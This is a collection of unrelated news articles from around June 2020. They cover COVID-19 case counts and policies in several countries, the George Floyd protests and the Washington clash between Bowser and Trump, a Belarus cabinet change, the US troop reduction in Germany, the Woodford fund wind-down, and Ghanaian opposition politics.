The deceased, Vicky, was a resident of Gopalganj district. He was lodged at Nigama monastery in Bodh Gaya since his return from Jeddah in Saudi Arabia on June 3, Senior Superintendent of Police (Gaya) Rajiv Mishra said.

"His death has been caused by a fall from the roof of the monastery, which had been converted into a quarantine centre. Preliminary investigations suggest that he was in a state of mental distress and committed suicide," the SSP said.

The officer said before the incident, family members of the deceased had called on him and upon their departure, Vicky had been desperate to go home.

The stranded Indians brought back as part of the Vande Bharat Mission have to undergo a mandatory, seven-day institutional quarantine before heading home.

Officials in the district administration said TrueNat test reports of the deceased were negative (for COVID-19), a reason why his sample was not sent for a more detailed examination to ascertain his coronavirus status.

Taking a serious note of the incident, Divisional Commissioner of Gaya, Asangaba Chuba AO has ordered a comprehensive inquiry into the alleged suicide, officials said.
Two senior ministers in New Zealand have denounced Donald Trump as racist over his response on Twitter to protests over the murder of George Floyd by police officers in Minneapolis.

James Shaw and Marama Davidson, co-leaders of the Green Party, were asked their opinion of the US presidents comments as they entered Parliament in Wellington.

The pair, who are senior members in Jacinda Arderns governing coalition, were asked by reporters if they thought Mr Trump was racist.

Both answered: I do.

Their comments were confirmed by the Green Partys press secretary, who told Stuff.co.nz their remarks were clear and spoke to their opinions. They said the party did not wish to add anything.

In a statement on Monday, Ms Davidson said: Today and every day we stand in solidarity with George Floyds family, friends and community who feel pain and fear about his untimely death at the hands of Minneapolis police.

It comes after Britains embassy in the US raised issues around the ongoing protests there with Mr Trumps administration, including the treatment of British journalists by police, a spokesman for Boris Johnson said on Friday.

Our embassy in the US has raised the issue of the protests with the US administration, including on behalf of British journalists who were subject to police action, the prime ministers spokesman said.

Floyds death last week has led to nationwide protests across the US, which have spread to other countries around the world.

In footage which has been shared widely online, a white police officer kneels on Floyds neck as he gasps for air and repeatedly says: I cant breathe.

Four officers have since been charged over the death.

In the US, clashes have broken out between the police and protesters, with officers recorded firing tear gas and rubber bullets at crowds.
Despite a significant increase in the number of Cayuga County residents getting tested for the coronavirus, the number of new positive cases continues to remain low.

A day after reporting no new cases, the Cayuga County Health Department reported on Friday that it received one additional positive test result. The new case is an Auburn resident in his 40s. Contact tracing on this resident is finished.

As of Friday afternoon, the health department had 44 people in mandatory quarantine, required for residents who have been in contact with someone who has a confirmed COVID-19 case. That figure is down three from the prior day.

Active coronavirus cases in the county remained flat at 12 cases. People with active cases must stay in mandatory isolation until cleared by the health department.

The health department also reported good news on hospitalizations. Two people who had been in the hospital were discharged, leaving total current hospitalized cases at two in Cayuga County.

For the year to date, Cayuga County has had 102 confirmed COVID-19 cases, with 89 people recovered and discharged from mandatory isolation. One person, a man in his 40s with underlying health conditions, has died in Cayuga County from the coronavirus.

Cayuga County continues to conduct drive-through testing clinics, including one that took place on Friday. The health department said it will hold another from 1 to 3 p.m. Tuesday, June 9. Required advanced registration can be done online at www.cayugacounty.us/health.

The clinic is open to essential workers and employees of businesses that reopened in the first two phases of the state's phased reopening plan, along with their household members, including children age 2 and older. People who have COVID-19 symptoms or who have had contact with a confirmed case can also get testing at this clinic.

The county health department is no longer publicly disclosing daily testing volume updates, but figures posted to the state COVID-19 tracking website showed that nearly 1,300 people were tested from Monday through Thursday.

Total tests conducted on Cayuga County residents, as reported by the state, was up to 6,132 as of Thursday.

In its Friday update, the county health department highlighted a state hotline that can be used to report violations of regulations aimed at preventing the spread of COVID-19 in New York state.

"Governor Andrew M. Cuomo established the New York State PAUSE Enforcement Assistance Task Force to assist local authorities with enforcement of Executive Orders and restrictions on business operations and activities, as well as gatherings, during the COVID-19 public health emergency," the health department said. "Individuals can file complaints regarding the operation of businesses or gatherings 24 hours a day, 7 days a week by calling 1-833-789-0470."
South Africa: COVID-19 cases surpass the 40 000 mark, with 848 deaths

The number of confirmed COVID-19 cases in South Africa has increased by 3 267 to 40 792, while the death toll has jumped to 848.

Out of the 56 more COVID-related deaths reported on Thursday, 54 are from the Western Cape and one each in KwaZulu-Natal and the Free State.

We extend our condolences to the loved ones of the departed and thank the healthcare workers who treated the deceased, Health Minister, Dr Zweli Mkhize, said.

President Cyril Ramaphosa and Mkhize will visit the Western Cape, which is the epicentre of the pandemic in South Africa, to evaluate the provinces response to the COVID-19 pandemic on Friday.

The province accounts for nearly two-thirds of infections nationally with 27 006 cases and 651 deaths due to Coronavirus.

Eastern Cape is trailing along with 4 936 cases and 33 deaths, followed by Gauteng with 4 845 cases and 33 deaths and KwaZulu-Natal with 2 869 and 55 deaths.

The North West has a record of 364 cases with one death, Limpopo with 266 cases and three deaths, Mpumalanga has 144 cases with no death, while Northern Cape has 95 cases and one death.

Meanwhile, 820 675 people have been tested and 21 311 recoveries have been recorded, which translates to a recovery rate of 52.24%.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
WASHINGTON - District of Columbia Mayor Muriel Bowser and President Donald Trump were engaged in an escalating contest over control of Washington streets when the email from a military planner set off new alarms in the mayor's office.

The official was seeking guidance Wednesday afternoon for the U.S. Northern Command in determining "route restrictions" for the "movement of tactical vehicles" and "military forces" from Fort Belvoir, Virginia, into the city to assist in "Civil Disturbance Operations."

To Bowser's aides, the request smacked of an imminent escalation in the federal force Trump had marshaled to quell the large street demonstrations over police brutality near the White House - the centerpiece of his bid to project the image of a strong leader who would establish "law and order" where local leaders had failed across the nation. Days earlier, Trump had falsely accused Bowser, a Democrat, in a tweet of refusing to allow District police to assist in crowd control in Lafayette Square.

"The last time they asked us about that was in preparation to move tanks to the city for the Fourth of July" celebration last summer, said one District government official, speaking on the condition of anonymity to discuss the private request. "We don't want it to happen."

A Defense Department official played down the email query as "due diligence" in case such forces are needed and said the vehicles in question are Humvees and personnel carrier trucks similar to those that already have been used in the city this week.

But the episode highlighted the escalating tensions and deepening distrust between Bowser and Trump, who has maintained a deep remove from local city life and has not established more than cursory relationships with city leaders.

In responding to the unrest, Bowser has generally deferred to the District police department, which has more training and experience than other city police forces in managing large protests that take place regularly in the nation's capital. She has tried to balance support for peaceful demonstrators with a forceful denunciation of those who have looted businesses, whom she cast as outsiders even though most arrested are from the Washington region.

In a news conference Thursday, Bowser said she was alarmed by the growing presence of federal security authorities in the city and declared she wants federal "troops from out of state" kept out of the District. She also expressed concern that the Trump administration's move to extend security barriers beyond the White House perimeter to encircle Lafayette Square, closing it to the public, could become permanent.

"Keep in mind that's the people's house," she said. "It's a sad commentary that the [White] House and its inhabitants have to be walled off."

The remarks were an amplification of her scathing reply to Trump's false criticism about her performance days earlier. In a tweet of her own, Bowser mocked Trump - who had warned protesters of "vicious dogs" and "ominous weapons" guarding the White House - as hiding "behind his fence afraid/alone."

"There is just a scared man," she wrote of the president's bluster.

Trump aides have fired back. On Fox News this week, White House press secretary Kayleigh McEnany criticized Bowser's "befuddling actions," citing the mayor's decision to implement an 11 p.m. curfew on Sunday as "really not tough enough." A fire had broken out at St. John's Episcopal Church a block from the White House before the curfew began.

Bowser called for a 7 p.m. curfew on Monday and Tuesday.

"Unfortunately, the mayor did not provide early leadership to ensure peaceful protests and prevent riots and violence as demonstrated by the arson to St. Johns Church, defacing of national monuments, and destruction of several covid-19 testing sites in vulnerable communities, forcing the president to take necessary action to restore law and order," White House spokesman Judd Deere said in a statement.

In recent days, the two have engaged in a series of contrasting public appearances. The morning after the church fire, Bowser showed up at Lafayette Square to survey damage and speak to reporters; that evening, Trump strode through the park with senior aides after Attorney General William Barr ordered police to forcibly clear protesters with chemical gas and rubber bullets.

Trump posed for news photographs holding a Bible in front of the church, without going inside. Bowser, a practicing Catholic, joined protesters in prayer on Wednesday.

Trump's increasingly fraught relationship with Bowser is emblematic of his eagerness to escalate political confrontations with Democratic state and local leaders, casting their jurisdictions as dangerous, dirty and poorly managed. But the tensions are amplified in the District by its unique status as a federal city whose local officials have long chafed over a lack congressional representation and the federal government's oversight of its spending decisions.

For decades, Republicans, including Trump, have opposed efforts to grant the city, which is majority Democratic, congressional voting rights. District officials said Trump administration officials this week raised the prospect of a federal takeover of the city's police department amid the protests, a move Bowser firmly opposed.

"The problem we have here . . . is, 'Who is in charge?' " said Del. Eleanor Holmes Norton, D-D.C.

Trump aides pointed to Bowser's inclusion in a series of calls the president has held with governors over the coronavirus pandemic and communication directly between the two in managing the outbreak as evidence of Trump's cooperation with city leaders.

Until this week, Trump and Bowser maintained a cool but not overly strained relationship, at least by the standards of the combative president. Bowser visited him at Trump Tower in New York during the transition after his election in 2016, and a few months later, in March 2017, he asked her to brief him in the Oval Office about the city's preparations for a brewing snowstorm.

The meeting perplexed local officials, who said such conversations typically took place between city and federal management agencies, and the storm sprinkled a modest 2.5 inches on the city.

Bowser has largely refrained from publicly attacking the president beyond registering the usual Democratic objections to his actions - and Trump has not tagged her with a demeaning nickname, as he has with other political foils. She has focused her toughest criticism on matters directly involving the city, such as when the federal government did not fully reimburse the District government for the costs of providing security at Trump's inauguration.

Before the unrest related to the death of George Floyd after he was arrested by Minneapolis police officers last week, their highest-profile clash came over Trump's desire for a military parade in 2018.

Trump blamed "local politicians" for foiling his plans over high costs, which Bowser pegged at $21 million but the Pentagon put at $92 million. Bowser fired back with a tweet describing herself as "the local politician who finally got thru to the reality star in the White House" - a dust-up she touted on campaign mailers that fall as she cruised to reelection.

Unlike past presidents, Trump has not visited a city school or eaten at a local restaurant other than the steakhouse at the Trump International Hotel, a few blocks from the White House.

Before his photo op outside St. John's this week, he had visited city churches five times, including three visits to St. John's, according to Mark Knoller, a White House correspondents for CBS News Radio who keeps records of presidential outings. Former president Barack Obama, by comparison, visited District churches 16 times in his first term, including nine visits to St. John's.

On the weekends, Trump has regularly left town for his resorts in Florida, Virginia and New Jersey.

"You've got President Obama, who had a very close relationship with the city and would go to restaurants and take walks without tear gas and flash bombs outside the White House," said Bo Shuff, executive director of D.C. Vote, which advocates for statehood. Yet Trump "is more financially invested in the city than any other president has been in the past based on the hotel."

During Bowser's news conference Thursday, a reporter expressed frustration trying to distinguish between federal and local police during the protests.

"I just hope that you take some of that frustration and channel it into coverage of D.C. statehood and why we need to be autonomous," Bowser said. "I'm looking forward to that."

- - -

The Washington Post's Dan Lamothe contributed to this report.
As protests rage nationwide over the killing of George Floyd, one Houston Republican is making his families roots in slavery a big part of a new television ad buy in his campaign for one of the most hotly contested races in Texas.

Wesley Hunt, a candidate for the 7th Congressional District in Houston, re-released a campaign ad in which he talks about his family rising from slavery to send himself, his brother and his sister to West Point.

When my great-great-grandfather came to America, he worked the land. Sixteen hours a day. Not by choice, he was bound by chains, Hunt, 38, says in the ad as he holds up chains. But through the decades, my family found opportunity, success and security, and we achieved the American Dream.

He then adds: From slavery to West Point in just five generations.

After graduating from the U.S. Military Academy, Hunt spent 8 years in the Army as an aviation officer and rose to the rank of captain before being honorable discharged.

Hunt, a Houston native, is one of just four black Republican candidates in Texas left running for Congress in 2020. U.S. Rep. Will Hurd, the only black Republican from Texas in Congress, is not seeking re-election.

Hunt said he felt like he had to add his voice on the issue as the nation deals with the aftermath of Floyds death at the hands of police in Minnesota. He said he knows the country is facing a lot of turmoil and there is a lot of focus on what is wrong. But he said he thinks his familys experience shows there is progress being made on race relations.

Weve come a long way as a country, Hunt said. There are some things wrong with our county, but America is also the best country in the world.

Hunt said that doesnt erase the pain of what happened to Floyd.

The murder of George Floyd was a tragedy and the officers responsible must be held accountable and prosecuted, Hunt said.

Hunt first ran the ad just before the March 3 Republican primary election, which he won.

Hunt, who has been publicly endorsed by President Donald Trump, faces U.S. Rep. Lizzie Fletcher, D-Houston, in a battle for one of the states most competitive congressional districts. The district has been held by Republicans dating back to when George H.W. Bush won the seat in Congress in 1966. But Fletcher narrowly defeated incumbent John Culberson in 2018 to take the seat.

Fletcher, too, has decried the killing of Floyd and praised demonstrators in Houston for bringing attention to his life and the systemic racism and injustice many face.

We are at a critical moment in our countrys history, Fletcher said. It is not enough merely to condemn the death of George Floyd and those who died before him or the systems that failed them; we must work for change.
Lukashenko Appoints Head of Military Industry Authority as New Prime Minister - Reports

Sputnik News

08:32 GMT 04.06.2020

MINSK (Sputnik) - Belarusian President Alexander Lukashenko has appointed Roman Golovchenko, the head of the State Authority for Military Industry, as the new prime minister, Belta news agency reported on Thursday.

Lukashenko also appointed Nikolay Snopkov, previously serving as the country's ambassador to China, as the first deputy prime minister.

Lukashenko dismissed the government, which was headed by Sergey Rumas since 2018, on Wednesday. In late May, the president announced plans to draft a new composition of the government before the presidential election, scheduled for 9 August.

At the same time, Lukashenko assured that the vast majority of ministers would retain their posts.

A Sputnik

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Cuomo announced the moratorium on March 20, shortly after New York issued its stay-at-home order. He said it was in response to the fear of many state residents that the shutdown would prevent them from working and paying their rent. The state is also prohibiting landlords from charging late fees on rent and allowing tenants to apply their security deposits toward rent.
Nine people from the same family, including two children, were killed and another was injured when the vehicle they were travelling in collided with a truck in Uttar Pradeshs Pratapgarh district early on Friday, police said.

Abhishek Singh, Pratapgarhs superintendent of police, said the accident took place at around 5.30am near Wazidpur village under the limits of Nawabganj police station. All the nine people died on the spot, he added.

Singh said the victims were on their way to Bhojpur in Bihar from Rajasthan and that their identity is yet to be ascertained.

One of the injured has been rushed to the state capital of Lucknow for treatment, he added.

Police had to use gas cutters to cut open the SUV to extract the bodies and rescue the injured with the help of locals.

UP chief minister Yogi Adityanath has expressed shock and sadness over the accident and ordered immediate and proper treatment of the injured.

Caption: The badly mangled remains of the SUV is seen after the accident in Uttar Pradeshs Pratapgarhs district. Nine people were killed on the spot after the SUV rammed into a truck
Despite his complaints about burden-sharing, Mr. Trump, as president, has overseen an increase in American military spending in Europe. Congress has bolstered the European Deterrence Initiative, which pays for exercises and troop rotations, and the military has increased its presence in Poland.

The troop cut for Germany would be the largest of Mr. Trumps tenure. The United States began building its forces back up in Europe after Russia annexed Crimea from Ukraine in 2014. But General Hodges and other analysts noted that Russia had not taken any steps to reduce its aggressive stance in Europe that would warrant a scaled-back American presence.

What has the Kremlin done to lower concerns about its aggressive behavior in the region? he said. Why should they get a reward of a one-third reduction of U.S. capability in Germany without them doing one single good thing?

The withdrawal of troops will be welcomed in Moscow as another sign of division in the Atlantic alliance and of fading American interest in global leadership. While the drawdown should not immediately affect NATOs deterrence forces in Poland and the Baltic States, the drawdown is bound to complicate American military logistics and readiness.

A cap of 25,000 troops could force an even greater cut in forces in Germany. Troops frequently rotate into the country for exercises, drills and training, said General Hodges, now based in Frankfurt, as a scholar with the Center for European Policy Analysis. If no more than 25,000 are allowed, the number permanently stationed in the country might have to be cut deeper to accommodate those rotations.

While we have no announcements at this time, as commander in chief, President Trump continually reassesses the best posture for the United States military forces and our presence overseas, John Ullyot, the National Security Council spokesman, said in a statement. The United States remains committed to working with our strong ally Germany to ensure our mutual defense, as well as on many other important issues.

Senior administration officials have been mulling the cut since last year, although a person briefed on the planning said that it had not been vetted by the National Security Councils traditional policy deliberation process.
Taking a step ahead of Keynote, Patrika Group launched Keynote Salon during Covid-19 period. In this initiative, Patrika invited prominent personalities from all over the country, which included Union Ministers, Chief Ministers of States, Ministers, CEO's of corporate houses to leading Philanthropists and people who have different roles in nation building. Through Keynote salon, Patrika provided a platform to common people to communicate with eminent personalities which went live on all Patrika Group Facebook pages. Our moderator chose the best of questions which were answered live by our guests. It was indeed an open dialogue, where guests through social media (Facebook) interacted with readers and viewers of Patrika Group.

Through Patrika Groups 135 National and Hyper local pages on Facebook, 26 Keynote Salon sessions reached 7M People during Live. 2.4M People viewed it live(Source -Facebook).

The Group reaches 9 States with its 38 Print editions,The Group reaches to 9 states with its 38 Print editions, 58.6 M people digitally through its sites (Source - Comscore - Hindi News / Information entities - Mobile Metrix - Access Method - (Mobile Web & App), April 2020, India), 16.7 Lac people (BARC, Rajasthan 15+ All Week 16) through Patrika TV and 49.88 Lakh people (Source: IRS 2019 Q4, Ever Listened  Radio) through its radio FM Tadka (all frequencies  all India).

Read how prominent figures expressed their views to win in these critical situations:

Pawan Goenka, MD & CEO, Mahindra Group: Need to focus on Make in India

After Covid-19, we will get to see big change in lifestyle. But, gradually the situation will start to improve. In two to four months, life will start returning to track. Under Make in India, we will get to see change in the supply chain. Today, we import auto parts worth 18 to 20 billion dollars. If we increase Make in India, it will not put full stop on imports, but dependence on foreign countries will be reduced.

Shashank Srivastava, Executive Director (Marketing and Sales), Maruti Suzuki: Car is need of India, market will bounce back

The auto industry is going through a difficult period. We have already recorded an 18 per cent decline due to Covid. We started the year with zero, but the industry will bounce back. Post Covid, car demand will increase in the market. The time will be for change and the entire industry is moving towards this change. Everyone's emphasis is on digitalization. We are confident that the demand for cars will increase in the coming times.

RS Sodhi, MD, Amul India: Companies are making mistakes, this is the right time for branding

Talking about the future of FMCG and food companies Sodhi said that right now it is necessary that we market our brands and not sit back in fear. Right now companies are making big mistakes by not focusing on branding and marketing. During lockdown, we have doubled our budget. This is the right time when we can convey our words well to our customers. Amul did not stop the collection for a single day nor reduced the price. The situation will improve completely in six months.

Sandeep Rajan Ghosh, COO, Birla Corporation Limited: To avoid recession, have to pay attention to infra

There is no need to panic from Covid epidemic. Within 2 months, things will start normalizing in the country. By the end of the year, the Indian market will once again rise up. To improve the current economic situation, we need to focus on rural, semi-urban infra. The coming days for real estate can be challenging. They will have to focus on affordable housing. Now is the time to provide the material according to the cash flow and user requirement. It is better to complete the old incomplete projects quickly and reduce the cost by resorting to technology.

Vipin Anand, MD, LIC: Insurance is becoming the first priority of the people

Not only insurance, but other industries are also struggling due to Covid-19. This has resulted in a change in the way companies operate. During this time, Corona has also taught how much insurance is important in life. This is the time that insurance has become the first priority of people after food, cloth and house. Post Covid time will also change the lifestyle of the people. The company is constantly making changes to the methodology to deal with the crisis.

Aakash Choudhry, Director & CEO, Aakash Institute: Necessary to use Digital learning properly

A lot of changes in lifestyles can be seen after Covid-19, especially its impact on education system is more. The entire education has started on the online platform. Digital learning is a good tool, but it is like a fire. It can cook good food and can also burn down a house. It is important to see how we can use it. This technique is good, but also has some disadvantages. Especially for children who are young or who are not yet adults or for parents who are not familiar with technology.

Vikas Jaiswal, founder, Ludo King : Ludo game of luck and strategy

The popularity of Ludo can be gauged from the fact that today 50 million people are playing this game online. While 150 million people played Ludo before lock down. The best thing is that today children in the family are also getting to know about their ancestors from their parents through online games. I was confident that this game would make it to the top 10 games in India in the coming years.
Law firm Nelsons has revealed it is examining possible claims against Woodford Equity Income fund administrator Link Fund Solutions - on the same day the administrator has confirmed the sale of a significant portion of the fund's remaining assets.

Nelsons said significant questions emerged around the firm during its investigation into the part investment platform Hargreaves Lansdown played in the debacle, having consistently promoted the fund until its suspension.

The law firm is looking at whether it could be said that investors were let down by Link's 'apparent failure to address the substantive issue of the increasing illiquidity of the fund at a much earlier stage'.

Disgraced manager Neil Woodford was forced to suspend trading in his Woodford Equity Income fund on 3 June 2019 after bouts of poor performance since its inception in 2014

Nelsons said it received more than 300 enquiries from investors who were keen to pursue legal action against Hargreaves Lansdown.

Cathryn Selby, partner and head of Nelsons' dispute resolution team, said: 'Over the past six months, we've been supporting clients who are considering legal action against Hargreaves Lansdown for its promotion of the Woodford Equity Income fund.

'During this time, we've become more aware of Link Fund Solutions' apparent failure to address at a much earlier stage the substantive issue of the increasing illiquidity of the fund.

'This will have affected anyone who invested in the fund, particularly those who did so after December 2017 as they may well say their losses could have been avoided had Link Fund Solutions done its job properly.'

Link has previously dismissed complaints  saying it had 'at all times acted in accordance with applicable rules and in the best interests of all investors'.

Cathryn Selby is a partner at law firm Nelsons

'Regulatory obligation'

But Selby said the firm had a fiduciary role and a regulatory obligation to ensure the fund was run in the best interests of investors, ensuring they were protected and treated fairly.

'It was required to adhere to the Financial Conduct Authority's Principles of Business, and the rules set out in the collective investments schemes sourcebook of the FCA handbook,' she added.

She noted that prior to the fund's suspension, it was revealed that a number of unquoted companies in the portfolio had been listed on the International Stock Exchange in Guernsey.

This allowed managed Neil Woodford to maintain a heavy weighting to unquoted companies which was far in excess of the 10 per cent limit applied by fund rules.

Selby said: 'Link Fund Solutions was involved in the decision to designate the International Stock Exchange as an eligible market for these purposes, which allowed the initial listings of the shares to take place.

'We are looking at whether such decisions were indeed in the best interests of all investors, or whether it could be said that investors were let down by Link Fund Solutions' apparent failure to address the substantive issue of the increasing illiquidity of the fund at a much earlier stage.'

Agreed sale of assets

Meanwhile, it was also confirmed this morning that a large portion of the fund's remaining assets are to be sold within the next six months.

Assets still in the Woodford Equity Income fund are made up of some listed companies but also unquoted companies which are highly illiquid and often difficult to sell - and largely the reason behind the fund's ultimate downfall.

However, Link has confirmed it has reached an agreement with US-listed company Acacia Research Corporation for the sale of 19 of its healthcare assets 'in return for up to 223.9million'.

Woodford's biotech portfolio includes Oxford Nanopore and Rutherford Cancer Centres

It told investors the formalities associated with the sale could, in some cases, take up to six months to complete and it will keep them informed of its progress.

As a result, no dates for further capital distributions have been revealed.

Link has already made two payments to investors amounting to 2.3billion, though this is significantly lower than the amount invested, meaning many have lost huge chunks of their savings.

AJ Bell's Ryan Hughes said: 'This news will be cautiously welcomed by investors as it moves them one step closer to being able to draw a line under this sorry situation.

'However, there will no doubt be huge frustration at the valuation achieved by Park Hill, which has been managing this process, given it may be lower than other offers that had reportedly been received and rejected previously.

'Ultimately, the challenge for Link has been to find a balance between getting a fair price for the assets and the time taken to achieve this.

'Given one year has already passed since the initial suspension, I'm sure many investors will feel like this has dragged on long enough and it is time to finalise the winding up of the fund  even if it does mean taking yet another hit on the value of their original investment.'
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WASHINGTON (dpa-AFX) - Late-stage biotech company Novavax Inc. (NVAX) announced Friday that it has been awarded a contract by the U.S. Department of Defense or DoD to manufacture COVID-19 vaccine candidate NVX-CoV2373. Under the deal, the company would deliver 10 million doses to DoD in 2020 that could be used in Phase 2/3 clinical trials or under an Emergency Use Authorization or EUA if approved by the U.S. FDA. NVX-CoV2373 consists of a stable, prefusion protein antigen made using its proprietary nanoparticle technology and includes Novavax' proprietary Matrix-M adjuvant. JPEO-CRBND-EB through funding provided by the Defense Health Program, has agreed to fund up to $60 million to support Novavax in its production of several components of the vaccine that will be manufactured in the U.S. As part of the contract, Novavax will work with a U.S.-based biologics contract development manufacturing organization or CDMO to manufacture the antigen component of NVX-CoV2373 for at least 10 million doses of vaccine. Novavax will also collaborate with U.S.-based CDMOs to scale up production and manufacture of the Matrix-M adjuvant component of the vaccine. Stanley Erck, President and Chief Executive Officer of Novavax, said, 'Importantly, this award will allow Novavax to significantly expand its U.S. production capacity of NVX-CoV2373, a critical step in our ability to provide vaccine support to the COVID-19 pandemic.' Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
The Deputy Women Organiser of the National Democratic Congress (NDC), Maame Efua Sekyi-Aidoo, has said the biggest opposition party is united with one resolve to rescue Ghana and her citizens from the current rot of the Akufo-Addo government despite the hurdles being put in the partys way by the Jean Mensa-led Electoral Commission as far as the registration of voters is concerned.

Speaking at the 41st-anniverary of the June 4, 1979 uprising in Accra, Sekyi-Aidoo said the fallen heroes and heroines of the revolution gave women a voice in politics and promised that: Well ride on your wave of probity, accountability and integrity, which you ingrained in us, to brace the current blizzards ravaging our land by way of the coronavirus pandemic and the I-will-do-whatever-I-want virus of the Electoral Commission and its Commissioner Mrs Jean Mensa.

According to her, It is evident that the EC is bent on risking the lives of millions of innocent Ghanaians with its plan to compile a new register of voters despite the loudest opposition from scores of civil society organisations, the National House of Chiefs, several political parties and the majority of Ghanaians.

This Jean Mensa-led Electoral Commission, she noted, has seen integrity slaughtered with reported evidence of rigging the referendum that birthed the six new regions, adding: It has lied on the face of documents to the citizens of this country.

Madam Sekyi-Aidoo, who said she had a narrow escape during the Ayawaso West Wuogon by-election violence, put the blame at the doorstep of President Nana Akufo-Addo.

Were seeing plainly before our very eyes, a President, whose electoral machinery unleashed vicious assaults on harmless unarmed citizens in the now-famous Ayawaso West Wuogon by-election, in a manner that left some of them crippled for life, she said.

Subsequently, she noted, the President dismissed the recommendations of the Commission that probed the matter and demanded that the hooligans who unleashed the gun violence be criminally prosecuted.

Justice was never served, she observed. For me, as an individual, who escaped narrowly the evils of the Ayawaso incident, I am best-positioned to carry to you, Your Excellency Jerry John Rawlings, the sentiments of the victims of the said day. We pledge to keep this truth and love of our country as imbibed in us by you. It is that fearless spirit that will see the NDC, your beloved party, winning the next elections.

As far as the ECs actions are concerned, Madam Sekyi-Aidoo said: I call on the EC Chair to be a mother, not just a woman; and listen to the cries of Ghanaians. Her stubbornness and foolhardiness must give way to reason. But were very well aware that she wont budge. Shes demonstrated that so many times.

I call for the spirit of June 4th to embolden us to stand up, step out and fight the oppressors rule. Like the warrior queen, Yaa Asentewa, we, the women, will stand side by side, shoulder by shoulder, with our men in this fight.

She also noted that the role of women in all these struggles, be it June 4th, 31st December and the formation of the NDC, cannot be underestimated. As daughters of the June 4th movement, it has become more pressing that our beloved party, the NDC, reconciles with the spring source of its spirit and formation, thereby reinvigorating our rank and file in our bid to unite around our principles which started our course to this historic day of June 4, 1979.

Come what may, we shall overcome this blizzard just as our forebears, led by Flt. Lt. Jerry John Rawlings, overcame the turbulent era of this nation four decades ago with the spirit of oneness because we, in the NDC, appreciate the need to join forces, not only in fighting COVID-19, but also in uprooting the rot that has festered in Ghana at the presidency and several other state agencies for the past few years that the NPP government has been in power, she added.

She also urged unity within the party for victory in the 2020 elections.

In that same spirit, we look forward to joining hands with our father, former President Jerry John Rawlings who, we know is the epitome of integrity, probity and accountability, to win power from the NPP and President Nana Akufo-Addo in this years general elections; for, together, not even the ECs hurdles can stop us from winning back power in the 7 December 2020 polls.

We dont have another chance provided by the June 4th, yet December 7, 2020 provides us with the opportunity to take back government and do what is right for the Ghanaian people. We will be armed with our voter ID cards, angry at corruption, nepotism, ethnocentrism and deceit.

Indeed, these are difficult times but the strength and resolve of the NDCs men and women of integrity cannot be broken  not even in these turbulent times. For we are one, we are united and resolute in our rescue mission. We are marching toward victory 2020, she noted.

---classfmonline
75% of Professionals Against Workplace Contact Tracing

As companies grapple with how to bring their workers back into the office safely, one idea for lowering the risk of a new coronavirus outbreak is to track employees interactions to see if they come in contact with someone diagnosed with COVID-19. However, a new survey suggests that most professional workers would not support this tactic.

State and local health departments have raised the idea of contact tracing in recent months as a way to identify who people newly diagnosed with COVID-19 may have unknowingly exposed to the disease. Health department officials would track down anyone the COVID-19 patient had been in close contact with and let them know they had potentially been exposed. The use of apps or other devices to track who people come in contact with has also been raised as a suggestion for implementing contact tracing.

With the workplace being a point of concern throughout the pandemic, contact tracing in the office would work in a similar way. Employers would keep tabs on who employees come in contact with so they could alert workers to possible COVID-19 exposure. Fishbowl, a professional social networking platform, surveyed professionals on its platform to get their thoughts on the practice by asking: Would you use a device or app that allows your company to trace your contact with other employees while at work?

The response was a resounding no.

A widely unpopular idea

The prospect of returning to the office after working remotely during the stay-at-home orders has been a source of stress for some employees, with many still wary about going back into work.

However, many are just as uncomfortable with the idea of contact tracing. Among all survey respondents, a whopping 75% said they would not let their company track their interactions with other employees at work. The idea was unpopular with both men and women, though women were slightly more against it, with 77% saying no, compared to 73% of men.

Workers in certain professions were more open to the idea than others. Human resources employees were the most willing to abide by contact tracing rules, with 41% of workers agreeing to it. They were followed by health care workers, with 33% being OK with the idea, and consultants, with 27% saying they were open to contract tracing in the office.

Story continues

Interestingly, tech employees were the least likely to be open to having their employers use contact tracing apps to track their movements, with only 19% saying they would support the idea. Finance professionals also expressed unwillingness, with only 19% agreeing to it, followed by legal professionals  only 21% of them said they were comfortable with the tactic being used.

Regional responses vary

The region where an employee lives may also play a role in how open that person is to contact tracing in the workplace, the survey suggests.

Among states where more than 100 participants responded to the survey, Wisconsin had the most workers in favor of the idea, with 40%. They were followed by:

Connecticut (35% in favor)

Kansas (31% in favor)

Indiana (30% in favor)

New Jersey (29% in favor)

In states where 100 or more responses were fielded, the state least in favor of the contact tracing in the workplace was Kentucky, with 75% against it. Among all states  regardless of the number of responses fielded  Florida had the lowest percentage of professionals who were open to the idea of contact tracing, with only 20% saying they would use an app that allowed their employer to trace their contact.

Methodology: Via its app, Fishbowl surveyed more than 17,297 professional workers in the U.S. who use its platform between May 29 and May 31, 2020.
(Natural News) The architect of Swedens controversial strategy for dealing with the Wuhan coronavirus pandemic has admitted that the country should have placed stricter restrictions. Anders Tegnell, the countrys state epidemiologist, made the admission during an interview with Swedish radio, where he also said that his strategy resulted in too many deaths.

If we would encounter the same disease, with exactly what we know about it today, I think we would land midway between what Sweden did and what the rest of the world did, he added.

Tegnell is the brains behind the countrys lighter approach to the coronavirus. While the government has banned gatherings larger than 50 people and called for social distancing, it still allowed businesses and schools to reopen. His recent admission is striking, as he had criticized countries that have placed lockdowns, insisting that Swedens approach is more sustainable.

Closing borders, in my opinion, is ridiculous, because COVID-19 is in every European country now. We have more concerns about movements inside Sweden, he told Nature in an April interview.

In the interview, the countrys top scientist had a more pensive tone as he admitted that his strategy had room for improvement. Given the speed at which the virus has overtaken Europe, Tegnell noted that mapping an effective plan to deal with the coronavirus was difficult at best.

It would be good to know exactly what to close down to better prevent the spread of the virus, he added.

Still, there are parts of Swedens policy that other countries have praised, including pushing for public cooperation when enforcing social distancing, moving to keep its borders open to European visitors and keeping schools for under 16s open. (Related: Is Sweden making the right choice by refusing coronavirus lockdowns?)

In a later press conference, Tegnell maintained that the country will stick to its strategy, insisting that it is still good, despite the challenges it has faced.

We still think that the strategy is good, but you can always make improvements, especially when looking back, Tegnell said. I personally think it would be rather strange if anyone answered anything else to such a question. You can always do things better.

